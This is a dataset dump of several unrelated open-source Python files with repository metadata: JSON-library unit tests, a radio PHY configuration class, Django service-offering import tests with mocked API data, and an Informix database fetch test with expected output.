34f2a8f38b436df6dea6955db4fb024d530fc49a
[ "MIT" ]
14
2015-07-18T02:00:08.000Z
2016-10-18T04:29:01.000Z
tests/test_api.py
vphilippon/python-awesojson
34f2a8f38b436df6dea6955db4fb024d530fc49a
[ "MIT" ]
null
null
null
import unittest import json try: from StringIO import StringIO # For Python 2.7 except ImportError: # Python 3.3+ from io import StringIO try: from unittest.mock import patch except ImportError: # Pre Python 3.3 from mock import patch from awesojson import (dump, dumps, load, loads, register_decoder, register_encoder) @patch('awesojson.encoder.AwesoJSONEncoder.default') class JSONDumpAPITest(unittest.TestCase): def test_int_do_not_call_encoder_default(self, default_mock): value = 0 expected = StringIO() json.dump(value, expected) result = StringIO() dump(value, result) self.assertFalse(default_mock.called) self.assertEquals(result.getvalue(), expected.getvalue()) def test_float_do_not_call_encoder_default(self, default_mock): value = 1.5 expected = StringIO() json.dump(value, expected) result = StringIO() dump(value, result) self.assertFalse(default_mock.called) self.assertEquals(result.getvalue(), expected.getvalue()) def test_string_do_not_call_encoder_default(self, default_mock): value = 'foo' expected = StringIO() json.dump(value, expected) result = StringIO() dump(value, result) self.assertFalse(default_mock.called) self.assertEquals(result.getvalue(), expected.getvalue()) def test_list_do_not_call_encoder_default(self, default_mock): value = [1, 2, 3] expected = StringIO() json.dump(value, expected) result = StringIO() dump(value, result) self.assertFalse(default_mock.called) self.assertEquals(result.getvalue(), expected.getvalue()) def test_dict_do_not_call_encoder_default(self, default_mock): value = {"foo": "bar"} expected = StringIO() json.dump(value, expected) result = StringIO() dump(value, result) self.assertFalse(default_mock.called) self.assertEquals(result.getvalue(), expected.getvalue()) def test_object_call_encoder_default(self, default_mock): value = object() default_mock.return_value = None result = StringIO() dump(value, result) self.assertTrue(default_mock.called) def test_object_encoder_default_value_used(self, default_mock): value = object() return_value = {"awesojsontype": "testing", "data": None} default_mock.return_value = return_value expected = StringIO() json.dump(return_value, expected) result = StringIO() dump(value, result) self.assertTrue(default_mock.called) self.assertEquals(result.getvalue(), expected.getvalue()) @patch('awesojson.encoder.AwesoJSONEncoder.default') class JSONDumpsAPITest(unittest.TestCase): def test_int_do_not_call_encoder_default(self, default_mock): value = 0 expected = json.dumps(value) result = dumps(value) self.assertFalse(default_mock.called) self.assertEquals(result, expected) def test_float_do_not_call_encoder_default(self, default_mock): value = 1.5 expected = json.dumps(value) result = dumps(value) self.assertFalse(default_mock.called) self.assertEquals(result, expected) def test_string_do_not_call_encoder_default(self, default_mock): value = 'foo' expected = json.dumps(value) result = dumps(value) self.assertFalse(default_mock.called) self.assertEquals(result, expected) def test_list_do_not_call_encoder_default(self, default_mock): value = [1, 2, 3] expected = json.dumps(value) result = dumps(value) self.assertFalse(default_mock.called) self.assertEquals(result, expected) def test_dict_do_not_call_encoder_default(self, default_mock): value = {"foo": "bar"} expected = json.dumps(value) result = dumps(value) self.assertFalse(default_mock.called) self.assertEquals(result, expected) def test_object_call_encoder_default(self, default_mock): value = object() default_mock.return_value = None dumps(value) self.assertTrue(default_mock.called) def test_object_encoder_default_value_used(self, default_mock): value = object() return_value = {"awesojsontype": "testing", "data": None} default_mock.return_value = return_value expected = json.dumps(return_value) result = dumps(value) self.assertTrue(default_mock.called) self.assertEquals(result, expected) @patch('awesojson.decoder.AwesoJSONDecoder.object_handler') class JSONLoadAPITest(unittest.TestCase): def test_int_do_not_call_decoder_object_handler(self, object_handler_mock): value = StringIO('0') expected = json.load(value) value.seek(0) result = load(value) self.assertFalse(object_handler_mock.called) self.assertEquals(result, expected) def test_float_do_not_call_decoder_object_handler(self, object_handler_mock): value = StringIO('1.5') expected = json.load(value) value.seek(0) result = load(value) self.assertFalse(object_handler_mock.called) self.assertEquals(result, expected) def test_string_do_not_call_decoder_object_handler(self, object_handler_mock): value = StringIO('"foo"') expected = json.load(value) value.seek(0) result = load(value) self.assertFalse(object_handler_mock.called) self.assertEquals(result, expected) def test_list_do_not_call_decoder_object_handler(self, object_handler_mock): value = StringIO('[0, 1, 2]') expected = json.load(value) value.seek(0) result = load(value) self.assertFalse(object_handler_mock.called) self.assertEquals(result, expected) def test_dict_call_decoder_object_handler(self, object_handler_mock): value = StringIO('{}') load(value) self.assertTrue(object_handler_mock.called) def test_dict_object_handler_return_value_used(self, object_handler_mock): value = StringIO('{"foo": "bar"}') expected = json.load(value) value.seek(0) object_handler_mock.return_value = expected result = load(value) self.assertTrue(object_handler_mock.called) self.assertEquals(result, expected) @patch('awesojson.decoder.AwesoJSONDecoder.object_handler') class JSONLoadsAPITest(unittest.TestCase): def test_int_do_not_call_decoder_object_handler(self, object_handler_mock): value = '0' expected = json.loads(value) result = loads(value) self.assertFalse(object_handler_mock.called) self.assertEquals(result, expected) def test_float_do_not_call_decoder_object_handler(self, object_handler_mock): value = '1.5' expected = json.loads(value) result = loads(value) self.assertFalse(object_handler_mock.called) self.assertEquals(result, expected) def test_string_do_not_call_decoder_object_handler(self, object_handler_mock): value = '"foo"' expected = json.loads(value) result = loads(value) self.assertFalse(object_handler_mock.called) self.assertEquals(result, expected) def test_list_do_not_call_decoder_object_handler(self, object_handler_mock): value = '[0, 1, 2]' expected = json.loads(value) result = loads(value) self.assertFalse(object_handler_mock.called) self.assertEquals(result, expected) def test_dict_call_decoder_object_handler(self, object_handler_mock): value = '{}' loads(value) self.assertTrue(object_handler_mock.called) def test_dict_decoder_object_handler_return_value_used(self, object_handler_mock): value = '{"foo": "bar"}' expected = json.loads(value) object_handler_mock.return_value = expected result = loads(value) self.assertTrue(object_handler_mock.called) self.assertEquals(result, expected) @patch('awesojson.decoder.AwesoJSONDecoder.register_decoder') class RegisterDecoderFunctionAPITest(unittest.TestCase): def test_basic_registration(self, AwesoJSONDecoder_register_decoder_mock): f = lambda x: x register_decoder(f, 'test.name') AwesoJSONDecoder_register_decoder_mock.assert_called_with(f, 'test.name') def test_None_fct_registration(self, AwesoJSONDecoder_register_decoder_mock): register_decoder(None, 'test.name') AwesoJSONDecoder_register_decoder_mock.assert_called_with(None, 'test.name') def test_None_type_identifier_registration(self, AwesoJSONDecoder_register_decoder_mock): f = lambda x: x register_decoder(f, None) AwesoJSONDecoder_register_decoder_mock.assert_called_with(f, None) @patch('awesojson.encoder.AwesoJSONEncoder.register_encoder') class RegisterEncoderFunctionAPITest(unittest.TestCase): class DummyClass(object): """ Dummy class to test registration. """ pass def test_basic_registration(self, AwesoJSONEncoder_register_encoder_mock): f = lambda x: x register_encoder(f, self.DummyClass) AwesoJSONEncoder_register_encoder_mock.assert_called_with(f, self.DummyClass, None) def test_None_fct_registration(self, AwesoJSONEncoder_register_encoder_mock): register_encoder(None, self.DummyClass) AwesoJSONEncoder_register_encoder_mock.assert_called_with(None, self.DummyClass, None) def test_None_type_identifier_registration(self, AwesoJSONEncoder_register_encoder_mock): f = lambda x: x register_encoder(f, None) AwesoJSONEncoder_register_encoder_mock.assert_called_with(f, None, None) def test_specific_type_identifier_registration(self, AwesoJSONEncoder_register_encoder_mock): f = lambda x: x register_encoder(f, self.DummyClass, 'test.name') AwesoJSONEncoder_register_encoder_mock.assert_called_with(f, self.DummyClass, 'test.name')
36.347518
98
0.691317
1,180
10,250
5.713559
0.072034
0.077128
0.065559
0.084841
0.901958
0.89024
0.848561
0.821121
0.797834
0.763868
0
0.004365
0.217756
10,250
281
99
36.476868
0.836493
0.007415
0
0.736842
0
0
0.046516
0.027989
0
0
0
0
0.241228
1
0.144737
false
0.004386
0.039474
0
0.214912
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
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0
0
0
0
1
0
0
0
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null
0
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0
0
0
0
0
0
0
0
0
0
0
7
7dbca7f6e033f617e71dac11506e0aff7605a143
97
py
Python
src/datasets/__init__.py
zhooda/learn-ml
e35765fdc3b27fd923cff89cc086d5093eeee25b
[ "MIT" ]
null
null
null
src/datasets/__init__.py
zhooda/learn-ml
e35765fdc3b27fd923cff89cc086d5093eeee25b
[ "MIT" ]
null
null
null
src/datasets/__init__.py
zhooda/learn-ml
e35765fdc3b27fd923cff89cc086d5093eeee25b
[ "MIT" ]
null
null
null
from .spiral import create_data as spiral_data from .vertical import create_data as vertical_data
48.5
50
0.865979
16
97
5
0.4375
0.3
0.4
0.45
0
0
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0
0
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0
0
0.113402
97
2
50
48.5
0.930233
0
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true
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null
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null
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0
0
1
0
1
0
0
0
0
7
7dcd331c5b4590db5a1ff479f4724149cb4b6804
3,812
py
Python
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/phys/phy_internal_base.py
lmnotran/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
82
2016-06-29T17:24:43.000Z
2021-04-16T06:49:17.000Z
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/phys/phy_internal_base.py
lmnotran/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
6
2022-01-12T18:22:08.000Z
2022-03-25T10:19:27.000Z
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/phys/phy_internal_base.py
lmnotran/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
56
2016-08-02T10:50:50.000Z
2021-07-19T08:57:34.000Z
from pyradioconfig.parts.common.phys.phy_common import PHY_COMMON_FRAME_INTERNAL from py_2_and_3_compatibility import * class Phy_Internal_Base(object): """ Common Internal Phy functiosn live here """ @staticmethod def GFSK_915M_base(phy, model): """GFSK_915M_base Args: model (ModelRoot) : Data model to read and write variables from """ phy.profile_inputs.base_frequency_hz.value = long(915000000) phy.profile_inputs.baudrate_tol_ppm.value = 0 phy.profile_inputs.bitrate.value = 100000 phy.profile_inputs.channel_spacing_hz.value = 1000000 phy.profile_inputs.deviation.value = 50000 phy.profile_inputs.diff_encoding_mode.value = model.vars.diff_encoding_mode.var_enum.DISABLED phy.profile_inputs.dsss_chipping_code.value = long(0) phy.profile_inputs.dsss_len.value = 0 phy.profile_inputs.dsss_spreading_factor.value = 0 phy.profile_inputs.fsk_symbol_map.value = model.vars.fsk_symbol_map.var_enum.MAP0 phy.profile_inputs.modulation_type.value = model.vars.modulation_type.var_enum.FSK2 phy.profile_inputs.preamble_pattern.value = 1 phy.profile_inputs.preamble_pattern_len.value = 2 phy.profile_inputs.preamble_length.value = 40 phy.profile_inputs.rx_xtal_error_ppm.value = 0 # MCUW_RADIO_CFG-672 phy.profile_inputs.shaping_filter.value = model.vars.shaping_filter.var_enum.Gaussian phy.profile_inputs.shaping_filter_param.value = 0.5 phy.profile_inputs.syncword_0.value = long(0xf68d) phy.profile_inputs.syncword_1.value = long(0x0) phy.profile_inputs.syncword_length.value = 16 phy.profile_inputs.tx_xtal_error_ppm.value = 0 phy.profile_inputs.xtal_frequency_hz.value = 38400000 PHY_COMMON_FRAME_INTERNAL(phy, model) phy.profile_inputs.agc_period.value = 0 phy.profile_inputs.agc_speed.value = model.vars.agc_speed.var_enum.FAST @staticmethod def GFSK_2400M_base(phy, model): """GFSK_2400M_base Args: model (ModelRoot) : Data model to read and write variables from """ phy.profile_inputs.base_frequency_hz.value = long(2450000000) phy.profile_inputs.baudrate_tol_ppm.value = 0 phy.profile_inputs.bitrate.value = 100000 phy.profile_inputs.channel_spacing_hz.value = 1000000 phy.profile_inputs.deviation.value = 50000 phy.profile_inputs.diff_encoding_mode.value = model.vars.diff_encoding_mode.var_enum.DISABLED phy.profile_inputs.dsss_chipping_code.value = long(0) phy.profile_inputs.dsss_len.value = 0 phy.profile_inputs.dsss_spreading_factor.value = 0 phy.profile_inputs.fsk_symbol_map.value = model.vars.fsk_symbol_map.var_enum.MAP0 phy.profile_inputs.modulation_type.value = model.vars.modulation_type.var_enum.FSK2 phy.profile_inputs.preamble_pattern.value = 1 phy.profile_inputs.preamble_pattern_len.value = 2 phy.profile_inputs.preamble_length.value = 40 phy.profile_inputs.rx_xtal_error_ppm.value = 0 phy.profile_inputs.shaping_filter.value = model.vars.shaping_filter.var_enum.Gaussian phy.profile_inputs.shaping_filter_param.value = 0.5 phy.profile_inputs.syncword_0.value = long(0xf68d) phy.profile_inputs.syncword_1.value = long(0x0) phy.profile_inputs.syncword_length.value = 16 phy.profile_inputs.tx_xtal_error_ppm.value = 0 phy.profile_inputs.xtal_frequency_hz.value = 38400000 PHY_COMMON_FRAME_INTERNAL(phy, model) phy.profile_inputs.agc_power_target.value = -8 phy.profile_inputs.agc_period.value = 0 phy.profile_inputs.agc_speed.value = model.vars.agc_speed.var_enum.FAST
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8
7dd6a1c5f53030888ba2dc546c8729e5913855d9
12,384
py
Python
pinakes/main/inventory/tests/task_utils/test_service_offering_import.py
Alex-Izquierdo/pinakes
dfeb855662b47d29a6e976e87fd7c090a262cf3f
[ "Apache-2.0" ]
2
2022-03-17T18:53:58.000Z
2022-03-17T22:04:22.000Z
pinakes/main/inventory/tests/task_utils/test_service_offering_import.py
Alex-Izquierdo/pinakes
dfeb855662b47d29a6e976e87fd7c090a262cf3f
[ "Apache-2.0" ]
9
2022-03-18T08:22:57.000Z
2022-03-30T17:14:49.000Z
pinakes/main/inventory/tests/task_utils/test_service_offering_import.py
Alex-Izquierdo/pinakes
dfeb855662b47d29a6e976e87fd7c090a262cf3f
[ "Apache-2.0" ]
7
2022-03-17T22:03:08.000Z
2022-03-28T21:28:34.000Z
"""Test module for ServiceOfferingImport""" from unittest.mock import Mock import pytest from pinakes.main.inventory.task_utils.service_offering_import import ( ServiceOfferingImport, OfferingKind, ) from pinakes.main.inventory.tests.factories import ( InventoryServicePlanFactory, SourceFactory, ServiceInventoryFactory, ServiceOfferingFactory, ) from pinakes.main.inventory.models import ( InventoryServicePlan, ServiceOffering, ) from pinakes.main.tests.factories import TenantFactory class TestServiceOfferingImport: """Test class for ServiceOfferingImport.""" @pytest.mark.django_db def test_add(self): """Test adding new objects.""" tenant = TenantFactory() source = SourceFactory() inventory_source_ref = "999" inventory = ServiceInventoryFactory( tenant=tenant, source=source, source_ref=inventory_source_ref ) tower_mock = Mock() template_objs = [ { "name": "Fred", "url": "/api/v2/job_templates/298/", "id": 298, "description": "Bedrock Template", "created": "2021-05-19T17:21:37.130143Z", "modified": "2021-06-10T20:06:35.234167Z", "related.inventory": ( f"/api/v2/inventories/{inventory_source_ref}/" ), "related.survey_spec": "/api/v2/survey_spec/298", "survey_enabled": True, "type": "job_template", }, ] workflow_objs = [ { "name": "Barney", "url": "/api/v2/job_templates/299/", "id": 299, "description": "Barney Template", "created": "2021-05-19T17:56:37.130143Z", "modified": "2021-06-10T20:46:35.234167Z", "related.inventory": ( f"/api/v2/inventories/{inventory_source_ref}/" ), "survey_enabled": False, "related.survey_spec": "/api/v2/survey_spec/299", "type": "workflow_job_template", }, ] def fake_method(*args, **_kwarg): if "workflow_job_templates" in args[0]: for i in workflow_objs: yield i else: for i in template_objs: yield i surveys = [] def survey_requests(*args, **_kwarg): surveys.append(args[0]) tower_mock.get.side_effect = fake_method inventory_import_mock = Mock() inventory_import_mock.source_ref_to_id.return_value = inventory.id plan_import_mock = Mock() plan_import_mock.process.side_effect = survey_requests soi = ServiceOfferingImport( tenant, source, tower_mock, inventory_import_mock, plan_import_mock ) soi.process() assert (ServiceOffering.objects.all().count()) == 2 assert ( ServiceOffering.objects.first().service_inventory.id ) == inventory.id assert (soi.get_stats().get("adds")) == 2 assert (len(surveys)) == 1 @pytest.mark.django_db def test_update(self): """Test update existing objects.""" tenant = TenantFactory() source = SourceFactory() inventory = ServiceInventoryFactory(tenant=tenant, source=source) inventory_source_ref = "999" inventory.source_ref = inventory_source_ref inventory.save() service_offering_source_ref = "997" ServiceOfferingFactory( tenant=tenant, source=source, service_inventory=inventory, kind=OfferingKind.JOB_TEMPLATE, source_ref=service_offering_source_ref, ) tower_mock = Mock() template_objs = [ { "name": "Fred", "url": f"/api/v2/job_templates/{service_offering_source_ref}/", "id": int(service_offering_source_ref), "description": "Bedrock Template", "created": "2021-05-19T17:21:37.130143Z", "modified": "2021-06-10T20:06:35.234167Z", "related.inventory": ( f"/api/v2/inventories/{inventory_source_ref}/" ), "related.survey_spec": ( f"/api/v2/survey_spec/{service_offering_source_ref}" ), "survey_enabled": True, "type": "job_template", }, ] workflow_objs = [] def fake_method(*args, **_kwarg): if "workflow_job_templates" in args[0]: for i in workflow_objs: yield i else: for i in template_objs: yield i surveys = [] def survey_requests(*args, **_kwarg): surveys.append(args[0]) tower_mock.get.side_effect = fake_method inventory_import_mock = Mock() inventory_import_mock.source_ref_to_id.return_value = inventory.id plan_import_mock = Mock() plan_import_mock.process.side_effect = survey_requests soi = ServiceOfferingImport( tenant, source, tower_mock, inventory_import_mock, plan_import_mock ) soi.process() assert (ServiceOffering.objects.all().count()) == 1 obj = ServiceOffering.objects.first() assert (obj.service_inventory.id) == inventory.id assert (obj.name) == "Fred" assert (obj.description) == "Bedrock Template" assert (soi.get_stats().get("updates")) == 1 assert (len(surveys)) == 1 @pytest.mark.django_db def test_delete(self): """Test delete existing objects.""" tenant = TenantFactory() source = SourceFactory() inventory = ServiceInventoryFactory(tenant=tenant, source=source) inventory_source_ref = "999" inventory.source_ref = inventory_source_ref inventory.save() service_offering_source_ref = "997" ServiceOfferingFactory( tenant=tenant, source=source, service_inventory=inventory, kind=OfferingKind.JOB_TEMPLATE, source_ref=service_offering_source_ref, ) tower_mock = Mock() template_objs = [] workflow_objs = [] def fake_method(*args, **_kwarg): if "workflow_job_templates" in args[0]: for i in workflow_objs: yield i else: for i in template_objs: yield i tower_mock.get.side_effect = fake_method inventory_import_mock = Mock() plan_import_mock = Mock() soi = ServiceOfferingImport( tenant, source, tower_mock, inventory_import_mock, plan_import_mock ) soi.process() assert (ServiceOffering.objects.all().count()) == 0 assert (soi.get_stats().get("deletes")) == 1 @pytest.mark.django_db def test_update_survey_disabled(self): """Test update existing objects but survey is disabled.""" tenant = TenantFactory() source = SourceFactory(tenant=tenant) service_inventory = ServiceInventoryFactory( source=source, tenant=tenant ) service_offering = ServiceOfferingFactory( source=source, tenant=tenant, service_inventory=service_inventory, survey_enabled=True, ) InventoryServicePlanFactory( tenant=tenant, source=source, service_offering=service_offering, source_ref=service_offering.source_ref, ) tower_mock = Mock() template_objs = [ { "name": "Fred", "url": f"/api/v2/job_templates/{service_offering.source_ref}/", "id": int(service_offering.source_ref), "description": "Bedrock Template", "created": "2021-05-19T17:21:37.130143Z", "modified": "2021-06-10T20:06:35.234167Z", "related.inventory": ( f"/api/v2/inventories/{service_inventory.source_ref}/" ), "related.survey_spec": ( f"/api/v2/survey_spec/{service_offering.source_ref}" ), "survey_enabled": False, "type": "job_template", }, ] workflow_objs = [] def fake_method(*args, **_kwarg): if "workflow_job_templates" in args[0]: for i in workflow_objs: yield i else: for i in template_objs: yield i surveys = [] def survey_requests(*args, **_kwarg): surveys.append(args[0]) tower_mock.get.side_effect = fake_method inventory_import_mock = Mock() inventory_import_mock.source_ref_to_id.return_value = ( service_inventory.id ) plan_import_mock = Mock() plan_import_mock.process.side_effect = survey_requests soi = ServiceOfferingImport( tenant, source, tower_mock, inventory_import_mock, plan_import_mock ) soi.process() assert (ServiceOffering.objects.all().count()) == 1 obj = ServiceOffering.objects.first() assert (obj.service_inventory.id) == service_inventory.id assert (obj.name) == "Fred" assert (obj.description) == "Bedrock Template" assert (soi.get_stats().get("updates")) == 1 assert (len(surveys)) == 0 assert (InventoryServicePlan.objects.all().count()) == 0 assert ( soi.source_ref_to_id(service_offering.source_ref) ) == service_offering.id @pytest.mark.django_db def test_none_related_inventory(self): """Test adding new objects.""" tenant = TenantFactory() source = SourceFactory() inventory_source_ref = "999" inventory = ServiceInventoryFactory( tenant=tenant, source=source, source_ref=inventory_source_ref ) tower_mock = Mock() template_objs = [ { "name": "Fred", "url": "/api/v2/job_templates/298/", "id": 298, "description": "Bedrock Template", "created": "2021-05-19T17:21:37.130143Z", "modified": "2021-06-10T20:06:35.234167Z", "related.inventory": None, "related.survey_spec": "/api/v2/survey_spec/298", "survey_enabled": True, "type": "job_template", }, ] workflow_objs = [ { "name": "Barney", "url": "/api/v2/job_templates/299/", "id": 299, "description": "Barney Template", "created": "2021-05-19T17:56:37.130143Z", "modified": "2021-06-10T20:46:35.234167Z", "related.inventory": ( f"/api/v2/inventories/{inventory_source_ref}/" ), "survey_enabled": False, "related.survey_spec": "/api/v2/survey_spec/299", "type": "workflow_job_template", }, ] def fake_method(*args, **_kwarg): if "workflow_job_templates" in args[0]: for i in workflow_objs: yield i else: for i in template_objs: yield i surveys = [] def survey_requests(*args, **_kwarg): surveys.append(args[0]) tower_mock.get.side_effect = fake_method inventory_import_mock = Mock() inventory_import_mock.source_ref_to_id.return_value = inventory.id plan_import_mock = Mock() plan_import_mock.process.side_effect = survey_requests soi = ServiceOfferingImport( tenant, source, tower_mock, inventory_import_mock, plan_import_mock ) soi.process() assert (ServiceOffering.objects.all().count()) == 2 assert (soi.get_stats().get("adds")) == 2 assert (len(surveys)) == 1
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8183529cf40689b3ee15ce6d5f92a35976d3925f
19,142
py
Python
IfxPy/tests/test_160_FetchBoth.py
deokershesh/IfxPy
7c44a2aea85c115b6f595ffa82c038f660fbf1ad
[ "Apache-2.0" ]
null
null
null
IfxPy/tests/test_160_FetchBoth.py
deokershesh/IfxPy
7c44a2aea85c115b6f595ffa82c038f660fbf1ad
[ "Apache-2.0" ]
null
null
null
IfxPy/tests/test_160_FetchBoth.py
deokershesh/IfxPy
7c44a2aea85c115b6f595ffa82c038f660fbf1ad
[ "Apache-2.0" ]
null
null
null
# # # import unittest, sys import IfxPy import config from testfunctions import IfxPyTestFunctions class IfxPyTestCase(unittest.TestCase): def test_160_FetchBoth(self): obj = IfxPyTestFunctions() obj.assert_expect(self.run_test_160) def run_test_160(self): conn = IfxPy.connect(config.ConnStr, config.user, config.password) server = IfxPy.server_info( conn ) if (server.DBMS_NAME[0:3] == 'Inf'): op = {IfxPy.ATTR_CASE: IfxPy.CASE_UPPER} IfxPy.set_option(conn, op, 1) result = IfxPy.exec_immediate(conn, "select * from emp_act") row = IfxPy.fetch_both(result) while ( row ): #printf("%6s ",row[0]) #printf("%-6s ",row[1]) #printf("%3d ",row[2]) #printf("%9s ",row['EMPTIME']) #printf("%10s ", row['EMSTDATE']) #printf("%10s ", row['EMENDATE']) #printf("%6s ", row[0]) #puts "" print "%6s %-6s %3d %9s %10s %10s %6s " % (row[0], row[1], row[2], row['EMPTIME'], row['EMSTDATE'], row['EMENDATE'], row[0]) row = IfxPy.fetch_both(result) #__END__ #__LUW_EXPECTED__ #000010 MA2100 10 0.50 1982-01-01 1982-11-01 000010 #000010 MA2110 10 1.00 1982-01-01 1983-02-01 000010 #000010 AD3100 10 0.50 1982-01-01 1982-07-01 000010 #000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020 #000030 IF1000 10 0.50 1982-06-01 1983-01-01 000030 #000030 IF2000 10 0.50 1982-01-01 1983-01-01 000030 #000050 OP1000 10 0.25 1982-01-01 1983-02-01 000050 #000050 OP2010 10 0.75 1982-01-01 1983-02-01 000050 #000070 AD3110 10 1.00 1982-01-01 1983-02-01 000070 #000090 OP1010 10 1.00 1982-01-01 1983-02-01 000090 #000100 OP2010 10 1.00 1982-01-01 1983-02-01 000100 #000110 MA2100 20 1.00 1982-01-01 1982-03-01 000110 #000130 IF1000 90 1.00 1982-01-01 1982-10-01 000130 #000130 IF1000 100 0.50 1982-10-01 1983-01-01 000130 #000140 IF1000 90 0.50 1982-10-01 1983-01-01 000140 #000140 IF2000 100 1.00 1982-01-01 1982-03-01 000140 #000140 IF2000 100 0.50 1982-03-01 1982-07-01 000140 #000140 IF2000 110 0.50 1982-03-01 1982-07-01 000140 #000140 IF2000 110 0.50 1982-10-01 1983-01-01 000140 #000150 MA2112 60 1.00 1982-01-01 1982-07-15 000150 #000150 MA2112 180 1.00 1982-07-15 1983-02-01 000150 #000160 MA2113 60 1.00 1982-07-15 1983-02-01 000160 #000170 MA2112 60 1.00 1982-01-01 1983-06-01 000170 #000170 MA2112 70 1.00 1982-06-01 1983-02-01 000170 #000170 MA2113 80 1.00 1982-01-01 1983-02-01 000170 #000180 MA2113 70 1.00 1982-04-01 1982-06-15 000180 #000190 MA2112 70 1.00 1982-02-01 1982-10-01 000190 #000190 MA2112 80 1.00 1982-10-01 1983-10-01 000190 #000200 MA2111 50 1.00 1982-01-01 1982-06-15 000200 #000200 MA2111 60 1.00 1982-06-15 1983-02-01 000200 #000210 MA2113 80 0.50 1982-10-01 1983-02-01 000210 #000210 MA2113 180 0.50 1982-10-01 1983-02-01 000210 #000220 MA2111 40 1.00 1982-01-01 1983-02-01 000220 #000230 AD3111 60 1.00 1982-01-01 1982-03-15 000230 #000230 AD3111 60 0.50 1982-03-15 1982-04-15 000230 #000230 AD3111 70 0.50 1982-03-15 1982-10-15 000230 #000230 AD3111 80 0.50 1982-04-15 1982-10-15 000230 #000230 AD3111 180 1.00 1982-10-15 1983-01-01 000230 #000240 AD3111 70 1.00 1982-02-15 1982-09-15 000240 #000240 AD3111 80 1.00 1982-09-15 1983-01-01 000240 #000250 AD3112 60 1.00 1982-01-01 1982-02-01 000250 #000250 AD3112 60 0.50 1982-02-01 1982-03-15 000250 #000250 AD3112 60 0.50 1982-12-01 1983-01-01 000250 #000250 AD3112 60 1.00 1983-01-01 1983-02-01 000250 #000250 AD3112 70 0.50 1982-02-01 1982-03-15 000250 #000250 AD3112 70 1.00 1982-03-15 1982-08-15 000250 #000250 AD3112 70 0.25 1982-08-15 1982-10-15 000250 #000250 AD3112 80 0.25 1982-08-15 1982-10-15 000250 #000250 AD3112 80 0.50 1982-10-15 1982-12-01 000250 #000250 AD3112 180 0.50 1982-08-15 1983-01-01 000250 #000260 AD3113 70 0.50 1982-06-15 1982-07-01 000260 #000260 AD3113 70 1.00 1982-07-01 1983-02-01 000260 #000260 AD3113 80 1.00 1982-01-01 1982-03-01 000260 #000260 AD3113 80 0.50 1982-03-01 1982-04-15 000260 #000260 AD3113 180 0.50 1982-03-01 1982-04-15 000260 #000260 AD3113 180 1.00 1982-04-15 1982-06-01 000260 #000260 AD3113 180 0.50 1982-06-01 1982-07-01 000260 #000270 AD3113 60 0.50 1982-03-01 1982-04-01 000270 #000270 AD3113 60 1.00 1982-04-01 1982-09-01 000270 #000270 AD3113 60 0.25 1982-09-01 1982-10-15 000270 #000270 AD3113 70 0.75 1982-09-01 1982-10-15 000270 #000270 AD3113 70 1.00 1982-10-15 1983-02-01 000270 #000270 AD3113 80 1.00 1982-01-01 1982-03-01 000270 #000270 AD3113 80 0.50 1982-03-01 1982-04-01 000270 #000280 OP1010 130 1.00 1982-01-01 1983-02-01 000280 #000290 OP1010 130 1.00 1982-01-01 1983-02-01 000290 #000300 OP1010 130 1.00 1982-01-01 1983-02-01 000300 #000310 OP1010 130 1.00 1982-01-01 1983-02-01 000310 #000320 OP2011 140 0.75 1982-01-01 1983-02-01 000320 #000320 OP2011 150 0.25 1982-01-01 1983-02-01 000320 #000330 OP2012 140 0.25 1982-01-01 1983-02-01 000330 #000330 OP2012 160 0.75 1982-01-01 1983-02-01 000330 #000340 OP2013 140 0.50 1982-01-01 1983-02-01 000340 #000340 OP2013 170 0.50 1982-01-01 1983-02-01 000340 #000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020 #__ZOS_EXPECTED__ #000010 MA2100 10 0.50 1982-01-01 1982-11-01 000010 #000010 MA2110 10 1.00 1982-01-01 1983-02-01 000010 #000010 AD3100 10 0.50 1982-01-01 1982-07-01 000010 #000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020 #000030 IF1000 10 0.50 1982-06-01 1983-01-01 000030 #000030 IF2000 10 0.50 1982-01-01 1983-01-01 000030 #000050 OP1000 10 0.25 1982-01-01 1983-02-01 000050 #000050 OP2010 10 0.75 1982-01-01 1983-02-01 000050 #000070 AD3110 10 1.00 1982-01-01 1983-02-01 000070 #000090 OP1010 10 1.00 1982-01-01 1983-02-01 000090 #000100 OP2010 10 1.00 1982-01-01 1983-02-01 000100 #000110 MA2100 20 1.00 1982-01-01 1982-03-01 000110 #000130 IF1000 90 1.00 1982-01-01 1982-10-01 000130 #000130 IF1000 100 0.50 1982-10-01 1983-01-01 000130 #000140 IF1000 90 0.50 1982-10-01 1983-01-01 000140 #000140 IF2000 100 1.00 1982-01-01 1982-03-01 000140 #000140 IF2000 100 0.50 1982-03-01 1982-07-01 000140 #000140 IF2000 110 0.50 1982-03-01 1982-07-01 000140 #000140 IF2000 110 0.50 1982-10-01 1983-01-01 000140 #000150 MA2112 60 1.00 1982-01-01 1982-07-15 000150 #000150 MA2112 180 1.00 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py
Python
tests/int/test_int_local.py
blarghmatey/pyinfra
b8287618d66a4e00963c88a3ef191c94e8320f70
[ "MIT" ]
1,532
2015-06-13T19:48:52.000Z
2022-03-26T15:32:45.000Z
tests/int/test_int_local.py
blarghmatey/pyinfra
b8287618d66a4e00963c88a3ef191c94e8320f70
[ "MIT" ]
729
2015-09-24T08:42:39.000Z
2022-03-31T07:15:44.000Z
tests/int/test_int_local.py
blarghmatey/pyinfra
b8287618d66a4e00963c88a3ef191c94e8320f70
[ "MIT" ]
419
2015-12-16T21:00:34.000Z
2022-03-05T21:05:07.000Z
